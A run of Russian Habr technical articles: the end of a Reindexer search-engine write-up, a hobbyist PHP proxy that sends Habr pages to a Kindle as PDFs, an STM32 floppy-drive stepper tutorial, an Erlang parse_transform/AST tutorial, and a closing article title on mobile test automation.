* коэффициенты формулы вычисления релевантности. В нее входят: функция bm25, дистанция между найденными словами, длина слова из запроса, признаки точного/не точного совпадения.
В нашем приложении за установку параметров поиска отвечает функция репозитория [Init](https://github.com/olegator77/habr-search/blob/master/repo.go#L296)
### Про фронтенд и баг Chrome с "бесконечным" скролом
Фронтенд реализован на vue.js — <https://github.com/igtulm/reindex-search-ui>
Когда делали "бесконечный" скрол с подгрузкой результатов столкнулись с очень неприятным багом Google Chrome — по мнению последнего, загрузка ответа от сервера при скроле иногда занимает 3-4 секунды.
Как так! У нас же быстрый бэкенд с реиндексером, отвечающий за миллисекунды -а тут, целых 4 секунды. Стали разбираться:
По логам сервера все хорошо — ответы отдаются за считанные миллисекунды.
```
2018/04/22 16:27:27 GET /api/search?limit=10&query=php&search_type=posts 200 8374 2.410571ms
2018/04/22 16:27:28 GET /api/search?limit=10&offset=10&query=php&search_type=posts 200 9799 2.903561ms
2018/04/22 16:27:34 GET /api/search?limit=10&offset=20&query=php&search_type=posts 200 21390 1.889076ms
2018/04/22 16:27:42 GET /api/search?limit=10&offset=30&query=php&search_type=posts 200 8964 3.640659ms
2018/04/22 16:27:44 GET /api/search?limit=10&offset=40&query=php&search_type=posts 200 9781 2.051581ms
```
Логи сервера, конечно, не истина в последней инстанции. Поэтому, посмотрел на трафик tcpdump-ом. И tcpdump тоже подтвердил, что сервер отвечает за миллисекунды.
Попробовали в Safari и Firefox — в них такой проблемы нет. Следовательно, проблема явно не во времени ответа бэкенда, а где то еще.
Кажется, проблема все же в Chrome.
Несколько часов гугления принесли плоды — [на stackoverflow](https://stackoverflow.com/questions/47524205/random-high-content-download-time-in-chrome) есть статья с workaround
И добавление магического "workaround" из статьи отчасти исправило проблему в Chrome:
```
mousewheelHandler(event) {
if (event.deltaY === 1) {
event.preventDefault();
}
}
```
Однако, все равно, если очень-очень активно скролить тачпадом, изредка, возникает задержка.
Что еще — небольшой бонус трек, вместо заключения
-------------------------------------------------
С момента публикации предыдущей статьи в Reindexer-е появилось много новых возможностей. Самая главная из них — полноценный серверный (standalone) режим работы.
golang API в серверном режиме, полностью совместимо с API в embeded режиме. Любые существующее приложения можно перевести с embeded на standalone заменой одной строчки.
Вот так приложение будет работать в embeded режиме, сохраняя данные на локальной файловой системе в папке `/tmp/reindex/testdb`
```
db := reindexer.NewReindex("builtin:///tmp/reindex/testdb")
```
Вот так приложение будет работать с standalone сервером, по сети:
```
db := reindexer.NewReindex("cproto://127.0.0.1:6534/testdb")
```
Standalone сервер можно либо установить с [dockerhub](https://hub.docker.com/r/reindexer/reindexer/), либо [собрать из исходников](https://github.com/Restream/reindexer/tree/master/cpp_src#build)
И еще, мы открыли телеграмм официальный канал поддержки [Reindexer](https://t.me/joinchat/BufPThJdIW8_XUmgVG5r5A). Если есть вопросы или предложения — добро пожаловать! | https://habr.com/ru/post/354034/ | null | ru | null |
# Habrahabr в PDF-варианте для электронной книги
Часто зависая на Хабре и не только много раз ловил себя на мысли, что информация и статьи гораздо эффективнее воспринимаются с телефона или планшета, когда читаешь в удобной позе, или даже не дома — в транспорте, командировках, и т.п. Описание игр с напильником для оригинальной конвертации Хабрахабра в PDF-вариант для комфортного оффлайн чтения на электронной книге — скорее любопытный вариант эксперимента, где задействовано сразу несколько интересных сервисов и известных всем технологий: PHP, CURL, ajax, js, css.
Итак, обо всем по-порядку.
Давно зрела мысль приобрести электронную книгу на e-ink чернилах. Всем известны доводы в пользу в этого: меньше нагрузка на глаза, дольше время работы на одной зарядке. Не приветствуя «комбайны» а-ля «все в одном», остановился на Amazon Kindle 6 версии, которая благодаря одной популярной доске объявлений досталась мне почти по цене как на ebay, зато сразу и с возможностью поторговаться и пощупать. Обзоров данной модели в вебе предостаточно, однако главная суть — в достаточном консерватизме производителя. Да, это электронная книга во всем ее проявлении. Тут нет mp3-плеера, приложений-игр и прочих фишек. Строго популярные мировые форматы «оцифровки макулатуры» и простенький браузер, не более того. Отмечу, что первоначальная ставка на встроенный браузер оказалась явно завышенной. И тот же Хабр открывался в очень мелком варианте шрифта, рендерил «хабровские» цвета заголовков #b5b5b5 в очень неконтрастный цвет. В общем, чтение напрямую, из браузера, немного напрягало.
К тому же, в отличие от скачанных книг, перелистывающихся на следующую страницу одним кликом, в браузере листать приходилось стандартным «телефонным» методом, проводя пальцем снизу-вверх. И если на каленом матером стекле телефона такие жесты уже как-то не замечаешь, то нежный, ранимый и слегка шершавый e-ink дисплей как-то не поднималась рука тереть несколько часов в день. К тому же, еще и вслепую, ведь картинка перерисовывалась только при отпускании пальца и глаз вынужден был искать место, откуда продолжать читать.
Тогда родилась идея запрограммировать некий «прокси» для удобного серфинга и экспорта наиболее интересного в PDF. Довольно быстро я написал PHP-прослойку, на вход которой в GET-параметре передавался url целевого сайта и которая через CURL запрашивала необходимый ресурс.
**Первые наброски кода**
```
$q = $_GET['q'];
if ( get_magic_quotes_gpc()) $q=addslashes(stripslashes(trim($q)));
if ($ch = curl_init()) {
// Инициализация параметров CURL
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_URL, $q );
$p = curl_exec($ch);
// Вывод в браузер
header("Content-Type: text/html; charset=utf-8");
echo $p;
} else echo 'Ошибка инициализации CURL!';
```
Такое простейшее решение было успешно опробовано на ПК и в книге. Разумеется, все css-стили и js-скрипты благополучно «потерялись», т.к. этот простейший код не учел относительных ссылок в html-коде сайта, подвергаемого парсингу.
Для исправления этой досадной оплошности мне пришлось внедрить
**замену относительных ссылок на абсолютные:**
```
$p = str_replace ('href=\'/', 'href=\'http://m.habrahabr.ru/' , $p);
$p = str_replace ('href="/', 'href="http://m.habrahabr.ru/' , $p);
$p = str_replace ('src=\'/', 'src=\'http://m.habrahabr.ru/' , $p);
$p = str_replace ('src="/', 'src="http://m.habrahabr.ru/' , $p);
```
**Обращаю внимание на парные замены с одинарными и двойными кавычками — в коде Хабрастраниц встречались оба варианта написания.**
Останавливаться уже не хотелось и я стал думать над усовершенствованием своей задумки.
Были сформулированы следующие пожелания к повышению юзабилити веб-серфинга:
1. Масштаб (для комфортного чтения нужно было увеличивать размер шрифтов в 2 раза);
2. Цвет (в силу особенностей цветопередачи e-ink все «модные» цвета нужно было сделать поконтрастнее);
3. Удобный скролл страницы.
Все коррекции я решил производить заменой, аналогичной вышеприведенной манипуляции с подменой ссылок.
**Внедрение дополнений к CSS**
```
// Увеличиваем масштаб страницы в целом, и задаем черный цвет для наибольшей контрастности чтения
$p = str_replace ('', 'body { zoom:2; } \* {color: #000 !important; }', $p);
```
Конструкторская мысль не стоит на месте — эксперименты с удобным скроллингом я решил начать с простейшей кнопки, которая будет жестко привязана к нижнему правому углу экрана. По задумке, клик на нее должен был вызвать простейшую функцию, которая через scrollBy двигала бы скролл на нужное значение вниз. Промежуточных опробованных кодов приводить не буду. Увы и ах, все эти примеры, блестяще работающие на обычном ПК, не были работоспособны в киндлобраузере… Все известные кроссбраузерные функции, хотя бы просто дающие значение текущего скролла, выдавали undefined или 0 при тестах на девайсе. Более того, даже сама кнопка, имеющая четко заданное позиционирование fixed и привязанная к низу экрана, в книге скроллилась вместе с сайтом. Потратив полчаса времени (и пропорциональное моему рейту количество нервов в час \* 0.5), я решил пойти другим путем. Который, как оказалось, вполне работоспособен и удобен.
А именно — мне захотелось сделать удобную возможность экспорта в PDF, чтобы вообще не отвлекаться на особенности браузера книги — и спокойно читать, благо делать это из файла намного комфортнее. К тому же оффлайн чтение актуально там, где нет wi-fi.
Помониторив текущие ресурсы быстрого экспорта веб-страниц в PDF ( [selectpdf.com](http://selectpdf.com/) и [web2pdfconvert.com](http://web2pdfconvert.com)), я переназначил функцию своей fixed-кнопки на такой быстрый экспорт.
**Внедрение кнопки для быстрого скачивания страницы в PDF**
```
// Манипуляции со стилями
$p = str_replace ('', 'body { zoom: 2; } \* {color: #000 !important; } .fixed-buttons {position: fixed; right: 0; bottom: 0; margin-top: 0; background-color:gray; width:40px; height:40px;} ', $p);
// Код кнопки (перед закрывающим тегом BODY)
$p = str_replace ('', '[PDF](http://selectpdf.com/save-as-pdf)', $p);
```
Да, это решение работало. Selectpdf.com по значению поля referer определяет, откуда пришел юзер, конвертирует эту страницу и отдает с нужным mime-заголовком. Для юзера это означает ровно то, что он вообще не подозревает о существовании selectpdf.com, а лишь жмакает на волшебную кнопку на моем сайте — и практически моментально скачивается pdf. Да, кстати, «моего сайта» — не совсем корректное выражение… Ведь в данном случае весь контент любезно предоставлен Хабром. Однако я не планирую выкладывать сервис в публичный доступ и думаю, что для моих личных целей такой парсинг CURL-ом не приносит никаких проблем самому Хабру в данном случае.
Итак, мы вроде бы близки к своей цели — прочесть страничку в волшебном скачанном pdf-варианте. Но Kindle снова заготовил нам сюрприз! Скачивание в браузере разрешено только в нескольких форматах — MOBI, TXT, и еще парочке. Не совсем понятное ограничение, ведь сама книга вполне справляется с большинством форматов, включая даже RTF и Word-овский DOC(X).
Ну что ж, тут включается ненормальное программирование. И азарт.
Я вспоминаю про одну любопытную возможность синхронизации документов, которую заложил Amazon в своем девайсе. А именно — у каждого авторизованного юзера есть личный кабинет и личный «киндловский» емайл, на который можно с белого списка ящиков посылать письма с документами и они волшебным образом появятся в книге. Некая пародия на dropbox и другие облачные системы хранения файлов. Но не использовать такую возможность было бы глупо. К тому же, проведенные тесты показали, что в таком сценарии «курьерской доставки документов на книгу» успешно загружается хоть PDF, хоть любой другой из списка поддерживаемых Киндлом.
Теперь о второй половинке «мостика», который мы будем дальше строить. И который именно как мостик срастался в моей голове во время анализа всех вариантов решения поставленной задачи. А именно — сервис [PdfByEmail](http://www.web2pdfconvert.com/pdf-email), предоставляемый одним из тех сервисов, которые я мониторил ранее. Суть — можно отправить целевой url порталу web2pdfconvert.com в письме, указав в теме письма ключевое слово Convert и в ответ (как обещают разработчики сервиса — в течении 1...3 мин) придет письмо с приаттаченным PDF-ником. Гениально! Для нашего случая самое то. Ведь мы можем сделать так, чтобы ответное письмо отсылалось прямо на книгу, т.е. на ее авторизованный email. Все, что нужно — это добавить email сервиса конвертации no-reply@web2pdfconvert.com в белый список личного кабинета Amazon.
Мне пришлось переписать функцию все той же fixed-кнопки внизу сайта. Теперь она запускает ajax-запрос к другой странице моего сайта, указывая, какой url требуется парсить. Т.к. не было уверенности, подключен ли jquery на всех сайтах, где я буду бродить, а подключать свой было бы громоздко, пришлось вспомнить давние времена, когда я делал ajax на нативном js, без фреймворков.
**Связка js и php, отвечающая за отправку письма в сервис конвертации**Фронтэнд
```
// AJAX
function getXmlHttp() {
var xmlhttp;
try {xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {xmlhttp = false;}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
// ajax-отправка команды
function www_to_pdf(q) {
var req = getXmlHttp();
req.onreadystatechange = function() {
if (req.readyState == 4) {
if(req.status == 200) {
if (req.responseText == "ok") {
alert('Запрос на конвертацию документа успешно отправлен!');
} else alert(req.responseText);
} else alert(req.status);
}
}
req.open('GET', 'www_to_pdf.php?q=' + encodeURIComponent(q), true);
req.send(null); // отослать запрос
}
```
Бэкенд:
```
$q = $_GET['q'];
if ( get_magic_quotes_gpc()) $q=addslashes(stripslashes(trim($q)));
// Отправляем e-mail
$title = "convert";
$headers = "From: myamazonlogin\r\nReply-To: myamazonlogin\r\nContent-type: text/plain; charset=utf-8\r\n";
$ret = mail('submit@web2pdfconvert.com', $title, "http://mysite.ru/proxy.php?exp=1&q=$q", $headers);
if ($ret == 1) echo 'ok';
else echo $ret;
```
Параметр exp=1 в отправляемой ссылке я добавил для чуть разного отображения веб-страницы для конвертора PDF и для моего просмотра.
Конвертор слишком «мельчил», и для него я делал тройной масштаб body в css. Кроме того, в экспортном документе не должно было быть видно моей fixed-кнопки. Этим и заправлял флаг exp=1.
Конечно, вначале я протестировал отправку на свой ящик, а уже потом решился запустить всю цепочку. Больше всего я боялся, что мое письмо, отправленное с домена, не совпадающего с доменом электронной почты для ответа [kindle](https://habrahabr.ru/users/kindle/).com, будет забанено спам-фильтрами PDF-сервиса. Но все прошло успешно и заработало с первого раза. Ровно 2-3 минуты, как и утверждали разработчики web2pdfconvert — и файл валится в книгу с шильдиком NEW.
Подведу итоги. Теперь, благодаря самодельному прокси, я имею возможность серфить любимые сайты в книге в удобном масштабе, контрастности. А наткнувшись на интересную статью, одним кликом отправить ее на конвертацию, зная, что через три минуты она свалится мне в книгу в PDF-варианте. Грубо говоря, можно ежедневно отсматривать новостную ленту и накликать статьи, которые тебя заинтересовали. А потом уже читать их оффлайн и с удобным юзабилити. Кстати, как оказалось, web2pdfconvert сохраняет ссылки. Так что даже читая PDF я могу так же, как и раньше, открыть что-то по гиперссылке из документа. К примеру, раздел комментарии или «похожие статьи» внизу.
Кстати, мне пришлось внедрить еще небольшой хак касательно спойлеров в статьях Хабра. Ведь в PDF их уже не откроешь…
**Проблема решилась еще парочкой корректирующих вставок**
```
$p = str_replace ('', 'body { zoom: ' . ( $exp ? 3 : 2 ) . '; } \* {color: #000 !important; } .fixed-buttons {position: fixed; right: 0; bottom: 0; margin-top: 0; background-color:gray; width:40px; height:40px;} .spoiler\_text {display:block;} ', $p);
$p = str_replace ('class="spoiler_text"', 'class="spoiler_text" style="display:block; line-height: 120%;"', $p);
```
Обратите внимание на вышеупомянутый параметр $exp, который варьирует масштаб для конвертации и простого просмотра.
Финита ля комедия! Теперь чтение любимых статей, да еще и через самодельный костыль (ну и что, что костыль) — приносит еще большее наслаждение. Конечно, есть еще куда совершенствовать идею. К примеру, имена файлов, которые присылает конвертатор, равны mysyte-ru и не зависят от дальнейшей ссылки. Думаю, что можно решить через создание поддоменов. Чтобы хотя бы supernovost-mysyte-ru или еще как-то различались названием. Надо почитать про ограничения длины доменных имен. Ну и в заголовках еще иногда подглючивает конвертатор (см.ниже). Но это мелочи.
 | https://habr.com/ru/post/257539/ | null | ru | null |
# STM32L-DISCOVERY + FDD
Для того что бы подключить STM32L-DISCOVERY к FDD тебе понадобится 4 провода и 2 джампера.
Всё что нужно знать о Floppy Disk Drive
---------------------------------------
* [Floppy Disk Drive Pinout](http://www.interfacebus.com/PC_Floppy_Drive_PinOut.html) — очень подробно;
* [Interfacing A Floppy Drive](http://quantumnet.wikidot.com/interfacing-a-floppy-drive) — здесь расписан псевдокод операций чтения и записи;
* [Duinomite plays the Imperial march](http://www.duinomite.com/duinomite-plays-the-imperial-march/) — пример подключения девайса.
P.S: Время ночь, это моя первая заметка на данную тематику, особых познаний у меня нет, всё подробно расписано на тематических ресурсах, но на то что бы с этим разобраться пришлось потратить уйму времени. В планах сделать из дисковода [RTTTL](http://en.wikipedia.org/wiki/Ring_Tone_Transfer_Language) плеер.
С чего начать?
--------------
Если посмотреть распиновку разъема то все входы/выходы являются четными, нечетные ножки это земля (GND). На дисководе должен быть зазор, что бы правильно вставить шлейф, переверни девайс зазором вниз, верхняя левая ножка это 2.
Поставь джампер на 12-11 ножки («Drive Sel B» с GND) загорится светодиод на передней панели дисковода, далее джампер на 16-15 («Motor Enable B» с GND) диск начнет крутится.
### Логические уровни TTL
> In anycase the floppy interface used 5v TTL as the electrical interface, which would also comply with LVTTL switching levels.
На выходах отладочной платы логическая единица это 3.3в, а FDD интерфейс использует 5в, это означает, что подключать FDD нужно к «5v tolerant» пинам. Что бы их найти, достаточно открыть [даташит](http://www.st.com/st-web-ui/static/active/en/resource/technical/document/datasheet/CD00277537.pdf) контроллера **STM32L152RBT6**, который установлен на STM32L-DISCOVERY и посмотреть таблицу с названием "...pin definitions". Если в колонке «I/O structure» стоит «FT» (five-volt tolerant) значит на пин можно смело подавать 5в.
Из [подробного мануала](http://www.interfacebus.com/PC_Floppy_Drive_PinOut.html) нам известны логические уровни TTL
> An Input high voltage of 2.0 volts and and input low voltage of 0.8 volts.
>
> An Output high voltage of 2.4 volts and and input low voltage of 0.5 volts.
это означает что 3.3в нам хватит с головой для подачи логической единицы.
В идеале, для согласования логических уровней у устройств должна быть общая земля, поэтому запитаем отладочную плату прямо от дисковода.
На дисководе есть стандартный [разъем питания](http://www.interfacebus.com/ATX_Motherboard_FDD_Power_PinOut.html).
Припаиваем два проводка к плате дисковода (на 1 и 2 пин) и втыкаем в EXT\_5V и GND на STM32L-DISCOVERY.
Как управлять FDD?
------------------
Для управления шаговым двигателем дисковода используется два пина, 18 DIR «Direction» и 20 STEP «Step».
Сначала нужно задать направление движения подав LOW (0) или HIGH (1) на DIR, а после этого сдвинуть головку на один трек:
> Step=LOW
>
> Delay(1mS)
>
> Step=HIGH
### Пишем тестовую прошивку
**Исходный код**
```
#include "stm32l1xx.h"
#include "stm32l1xx_rcc.h"
#define DIR GPIO_Pin_1 // 18 // PA1
#define STEP GPIO_Pin_2 // 20 // PA2
void delay_ms(uint32_t delay)
{
TIM6->PSC = 2096;
TIM6->ARR = delay;
TIM6->EGR |= TIM_EGR_UG;
TIM6->CR1 |= TIM_CR1_CEN|TIM_CR1_OPM;
while ( (TIM6->CR1 & TIM_CR1_CEN) != 0);
}
void InitPeriph()
{
GPIO_InitTypeDef GPIOConfig;
GPIOConfig.GPIO_Speed = GPIO_Speed_40MHz;
GPIOConfig.GPIO_Mode = GPIO_Mode_OUT;
GPIOConfig.GPIO_OType = GPIO_OType_PP;
GPIOConfig.GPIO_PuPd = GPIO_PuPd_NOPULL;
GPIOConfig.GPIO_Pin = DIR | STEP;
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOA,ENABLE);
GPIO_Init(GPIOA,&GPIOConfig);
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM6,ENABLE);
}
void move()
{
GPIO_ResetBits(GPIOA,STEP);
delay_ms(1);
GPIO_SetBits(GPIOA,STEP);
}
int main()
{
int i;
InitPeriph();
for(;;)
{
GPIO_ResetBits(GPIOA,DIR);
for(i=0;i<100;i++)
{
move();
}
delay_ms(1000);
GPIO_SetBits(GPIOA,DIR);
for(i=0;i<100;i++)
{
move();
}
delay_ms(2500);
}
}
```
Настраиваем порты GPIO на вывод обычного логического сигнала, включаем тактирование порта вывода и 6 таймера общего назначения. Шины к которым они подключены можно посмотреть в даташите. Далее в бесконечном цикле крутим шаговый двигатель на 100 треков, то назад то вперед.
Магическая цифра 2096 это стандартная внутренняя частота работы данного контроллера (2,097 МГц). | https://habr.com/ru/post/221023/ | null | ru | null |
# Использование parse_transform
**Disclaimer:** Описываемый инструмент имеет спорную репутацию. Я не призываю использовать его где ни попадя, только знакомлю с используемыми понятиями, дабы уменьшить некоторым трепет перед технологией.
Написанные исходники, а также текстовую копию статьи можно найти [на гитхабе](https://gist.github.com/2146886).
Что такое parse\_transform
==========================
[parse\_transform](http://www.erlang.org/doc/man/compile.html) — механизм изменения AST перед компиляцией. Предназначен для изменения значения конструкций (семантики), не выходя за синтаксис Эрланга.
К сожалению, в Сети мало информации про это, что делает порог вхождения весьма высоким для не-гуру эрланга.
Что мы будем делать
===================
В рамках данной статьи я немного рассказажу про AST эрланга, приведу пример простых трансформаций, а так же покажу процесс написания parse\_transform для создания stateless gen\_server-а (задача имеет не особо много смысла, но в качестве примера использования сгодится), а в конце дам ссылку на набор начинающего транформатора.
AST в Эрланге
=============
На всякий случай: [определение AST](http://ru.wikipedia.org/wiki/AST)
Лучше один раз увидеть AST, чем сто раз прочитать его [описание](http://www.erlang.org/doc/apps/erts/absform.html). Поэтому мы напишем маленький модуль, чтобы увидеть, как преоразуется каждая строчка.
Итак, исходный текст *astdemo.erl*:
```
-module(astdemo).
-export([hello/0, hello/2]).
hello() ->
hello("world", 1).
hello(_What, 0) ->
ok;
hello(What, Count) ->
io:format("Hello, ~s~n", [What]),
hello(What, Count - 1).
```
Чтобы увидеть AST, нужно натравить на этот файл функцию parse\_file из модуля epp:
```
Eshell V5.8.5 (abort with ^G)
1> {ok, Forms} = epp:parse_file("astdemo.erl", [], []), io:format("~p~n", [Forms]).
[{attribute,1,file,{"astdemo.erl",1}},
{attribute,1,module,astdemo},
{attribute,2,export,[{hello,0},{hello,2}]},
{function,4,hello,0,
[{clause,4,[],[],
[{call,5,
{atom,5,hello},
[{string,5,"world"},{integer,5,1}]}]}]},
{function,7,hello,2,
[{clause,7,[{var,7,'_What'},{integer,7,0}],[],[{atom,8,ok}]},
{clause,9,
[{var,9,'What'},{var,9,'Count'}],
[],
[{call,10,
{remote,10,{atom,10,io},{atom,10,format}},
[{string,10,"Hello, ~s~n"},
{cons,10,{var,10,'What'},{nil,10}}]},
{call,11,
{atom,11,hello},
[{var,11,'What'},
{op,11,'-',{var,11,'Count'},{integer,11,1}}]}]}]},
{eof,12}]
ok
```
Видно, что каждое выражение преобразуется в тюпл длины не менее 3, при этом первые два элемента всегда тип и строка, далее идет специфическое для него описание. Если непонятно, что стоит на конкретном месте, [документация](http://www.erlang.org/doc/apps/erts/absform.html) к вашим услугам.
Функция parse\_transform/2
==========================
Давайте теперь сделаем dummy-parse\_transform, чтобы увидеть, с чем придется иметь дело дальше. Для этого создадим модуль, который займется трансформацией, и вместо манипуляций над AST просто распечатаем его.
Итак, *demo\_pt.erl*:
```
-module(demo_pt).
-export([parse_transform/2]).
parse_transform(Forms, _Options) ->
io:format("~p~n", [Forms]),
Forms.
```
Вставляем в *astdemo.erl* соответствующую директиву:
```
-module(astdemo).
-compile({parse_transform, demo_pt}).
-export([hello/0, hello/2]).
...........
```
Компилируем:
```
Eshell V5.8.5 (abort with ^G)
1> c(astdemo).
[{attribute,1,file,{"./astdemo.erl",1}},
{attribute,1,module,astdemo},
{attribute,3,export,[{hello,0},{hello,2}]},
{function,5,hello,0,
[{clause,5,[],[],
[{call,6,
{atom,6,hello},
[{string,6,"world"},{integer,6,1}]}]}]},
{function,8,hello,2,
[{clause,8,[{var,8,'_What'},{integer,8,0}],[],[{atom,9,ok}]},
{clause,10,
[{var,10,'What'},{var,10,'Count'}],
[],
[{call,11,
{remote,11,{atom,11,io},{atom,11,format}},
[{string,11,"Hello, ~s~n"},
{cons,11,{var,11,'What'},{nil,11}}]},
{call,12,
{atom,12,hello},
[{var,12,'What'},
{op,12,'-',{var,12,'Count'},{integer,12,1}}]}]}]},
{eof,13}]
{ok,astdemo}
```
Как видно, AST тот же самый (с точностью до смещения строк), но в этот раз он распечатан во время компиляции.
Следует отметить, что в прибывшем для трансформации AST уже удалены директивы компилятора.
Что передается в опциях, любознательный читатель, вероятно, узнает самостоятельно. Эта статья об AST.
Первые трансформации
====================
Давайте для тренировки сделаем бесполезную на практике вещь — переименуем функцию «hello/0» в «hi/0». Это будет просто сделать, поскольку hello/0 не вызывается изнутри модуля, а имеет только возможность быть вызванной извне. Поэтому достаточно изменить список экспортов и заголовок функции.
Трансформатор одной формы
-------------------------
Поскольку AST (биндинг Forms) является списком, каждый элемент которого является формой очень короткого списка типов, логично пропустить все Forms через функцию-мутатор. Поскольку поставленная задача проста, и трансформация каждого выражения не зависит от остального содержимого, нам подойдет *lists:map*.
Функция, которая будет изменять экспорты и заголовки функций, будет выглядеть примерно так:
```
% hello_to_hi replaces occurences of hello/0 with hi/0
hello_to_hi({attribute, Line, export, Exports}) ->
% export attribute. Replace {hello, 0} with {hi, 0}
HiExports = lists:map(
fun ({hello, 0}) -> {hi, 0};
(E) -> E
end, Exports),
{attribute, Line, export, HiExports};
hello_to_hi({function, Line, hello, 0, Clauses}) ->
% Header of hello/0. Just replace hello with hi
{function, Line, hi, 0, Clauses};
hello_to_hi(Form) ->
% Default: do not modify form
Form.
```
Теперь всё вместе
-----------------
Задействуем эту функцию, изменив код функции *parse\_transform*:
```
parse_transform(Forms, _Options) ->
HiForms = lists:map(fun hello_to_hi/1, Forms),
io:format("~p~n", [HiForms]),
HiForms.
```
Компилируем *demo\_pt*, удостоверяемся, что не накосячили.
Проверяем
---------
Пробуем с новым трансформатором скомпилировать *astdemo*:
```
Eshell V5.8.5 (abort with ^G)
1> c(astdemo).
[{attribute,1,file,{"./astdemo.erl",1}},
{attribute,1,module,astdemo},
{attribute,3,export,[{hi,0},{hello,2}]},
{function,5,hi,0,
[{clause,5,[],[],
[{call,6,
{atom,6,hello},
[{string,6,"world"},{integer,6,1}]}]}]},
{function,8,hello,2,
[{clause,8,[{var,8,'_What'},{integer,8,0}],[],[{atom,9,ok}]},
{clause,10,
[{var,10,'What'},{var,10,'Count'}],
[],
[{call,11,
{remote,11,{atom,11,io},{atom,11,format}},
[{string,11,"Hello, ~s~n"},
{cons,11,{var,11,'What'},{nil,11}}]},
{call,12,
{atom,12,hello},
[{var,12,'What'},
{op,12,'-',{var,12,'Count'},{integer,12,1}}]}]}]},
{eof,13}]
{ok,astdemo}
2> astdemo:hi().
Hello, world
ok
```
Прекрасно! Отработало, как и хотели. Время сделать что-то чуть более полезное.
Stateless gen\_server parse\_transform
======================================
Иногда при написании модуля с поведением gen\_server нет нужды таскать за собой State, поскольку хранить в нем нечего, а протаскивание State из handle\_anything в финальное выражение засоряет код. Давайте сделаем parse\_transform, который позволит определять *handle\_call/2, handle\_cast/1, handle\_info/1*. Или нет. Чтобы сделать статью чуть короче, я покажу только трансформацию *handle\_call/2 -> handle\_call/3*, а те, кому интересно, доопределят все остальное.
Концепция
---------
Поведение gen\_server требует определения *handle\_call* (для простоты) таким образом ([документация](http://www.erlang.org/doc/man/gen_server.html#Module:handle_call-3)):
```
handle_call(Request, From, State) ->
.....
{reply,Reply,NewState}.
```
Поскольку мы избавляемся от необходимости учитывать State, пусть наш синтаксис будет таким:
```
handle_call(Request, From) ->
.....
Reply.
```
План трансформации
------------------
* Найти и изменить в экспортах *handle\_call/2* на *handle\_call/3*
* Среди определений функций для *handle\_call/2* добавить параметр State и финальное выражение в каждой кляузе обрамить в *{reply, ..., State}*
Кошка
-----
На ней мы будем тренироваться. Определена *handle\_call* в нашем синтаксисе и ее аналог в каноническом виде для сравнения и написания трансформатора.
```
-module(sl_gs_demo).
-behavior(gen_server).
-compile({parse_transform, sl_gs}).
-export([handle_call/2, ref_handle_call/3]).
-export([handle_cast/2, handle_info/2]).
-export([init/1, terminate/2, code_change/3]).
% This will be transformed
handle_call(Req, From) ->
{Req, From}.
% That's what handle_call should finally look like
ref_handle_call(Req, From, State) ->
{reply, {Req, From}, State}.
% Dummy functions to make gen_server happy
% Exercise: Try to insert them automatically during transformations :)
handle_cast(_, State) -> {noreply, State}.
handle_info(_, State) -> {noreply, State}.
init(_) -> {ok, none}.
terminate(_, _) -> ok.
code_change(_, State, _) -> {ok, State}.
```
Код
---
Все было написано как и в прошлый раз — глядя на вывод *epp:parse\_file* и подгоняя то, что есть, под то, что надо.
```
-module(sl_gs).
-export([parse_transform/2]).
parse_transform(Forms, _Options) ->
lists:map(fun add_missing_state/1, Forms).
add_missing_state({attribute, Line, export, Exports}) ->
% export attribute. Replace {handle_call, 2} with {handle_call, 3}
NewExports = lists:map(
fun ({handle_call, 2}) -> {handle_call, 3};
% You can add more clauses here for other function mutations
(E) -> E
end, Exports),
{attribute, Line, export, NewExports};
add_missing_state({function, Line, handle_call, 2, Clauses}) ->
% Mutate clauses
NewClauses = lists:map(fun change_call_clause/1, Clauses),
% Finally, change arity in header
{function, Line, handle_call, 3, NewClauses};
add_missing_state(Form) ->
% Default
Form.
change_call_clause({clause, Line, Arguments, Guards, Body}) ->
% Change arity in clauses.
NewArgs = Arguments ++ [{var, Line, 'State'}], % Add State argument
% Then replace last statement of each clause with corresponding tuple
NewBody = change_call_body(Body),
{clause, Line, NewArgs, Guards, NewBody}.
change_call_body([Statement | Rest=[_|_] ]) -> % Rest has to be non-empty list for this
% Recurse to change only last statement
[Statement|change_call_body(Rest)];
change_call_body([LastStatement]) ->
% Put it into tuple. Lines are zero to omit parsing LastStatement
[{tuple,0, [{atom,0,reply},
LastStatement,
{var,0,'State'}]
}].
```
Проверка на работоспособность
-----------------------------
```
Eshell V5.8.5 (abort with ^G)
1> c(sl_gs_demo).
{ok,sl_gs_demo}
2> {ok, D} = gen_server:start_link(sl_gs_demo, [], []).
{ok,<0.39.0>}
3> gen_server:call(D, hello).
{hello,{<0.32.0>,#Ref<0.0.0.83>}}
```
Успех! Осталось дорисовать сову и выложить на гитхаб.
Итоги
=====
Заинтересованный читатель, надеюсь, познакомился с AST в эрланге, а так же получил примерное представление о методах его трансформации. Возможно, кто-то впервые узнал о parse\_transform.
В статье собрана информация, которой должно хватить, чтобы приступить к написанию собстенного трансформа. Чуть ниже будет критика и ссылка на полезную для трансформаций библиотеку.
Критика метода
==============
Во-первых, использование parse\_transform (в том случае, если он в отдельном проекте) добавляет зависимось вашему проекту. В случае с rebar это несмертельно.
Во-вторых, люди, читающие (и, особенно, редактирующие) такой код, могут не сразу понять концепцию. Поэтому нужна не только хорошая документация, но и заметная ссылка на нее в начале исходника.
В-третьих, возможности по написанию собственных диалектов сильно ограничены. Прежде, чем AST попадет под ваш скальпель, отрабатывает штатный парсер. Поэтому внесение хитрых ключевых слов и собственных операторов может сломать парсер, сильно усложнив задачу.
Библиотека parse\_trans
=======================
[parse\_trans](https://github.com/esl/parse_trans) — полезная штука для написания parse\_transform-ов. Она позволяет делать рекурсивный map на дерево, что крайне полезно при модификации выражений на непостоянной глубине. В примерах есть очень лаконичный способ переписывания оператора «!» на вызов *gproc:send*. | https://habr.com/ru/post/140374/ | null | ru | null |
# Автоматизация тестирования мобильных приложений. Часть 1: проверки, модули и базовые действия
